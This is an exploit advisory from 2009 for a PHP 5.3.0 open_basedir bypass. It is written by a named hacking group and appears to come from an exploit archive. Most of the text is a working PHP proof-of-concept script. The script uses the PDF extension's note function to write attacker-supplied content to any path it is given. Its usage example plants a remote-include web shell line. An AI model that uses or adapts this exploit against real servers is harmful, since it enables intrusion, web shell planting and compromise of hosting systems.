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php530-bypass.txt

Posted on 06 November 2009

Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .

Reproduce code:
---------------
<?php
// Author : Sina Yazdanmehr (R3d.W0rm) ; Our Site : http://IrCrash.com
if(!extension_loaded('pdf')){
die('pdf extension required .');
}else{
$__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
$__VALUE = $_GET['v']; /*The text that u want save in file .ex:
<?php include $_GET[f];?>*/
if(!isset($__PATH,$__VALUE)){

die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
}
$__IRCRASH = pdf_new();
pdf_open_file($__IRCRASH,$__PATH);
pdf_begin_page($__IRCRASH,612,792);

pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
pdf_end_page($__IRCRASH);
pdf_close($__IRCRASH);
pdf_delete($__IRCRASH);
print('<p>IrCrash Security Team .</p>');
print('<p>' . $__PATH . "
"  . 'created .</p>');}
?>

Expected result:
----------------
When attacker run this code , a file in a path that attacker input in
`p` in url , whith value that attacker input in `v` in url.

 

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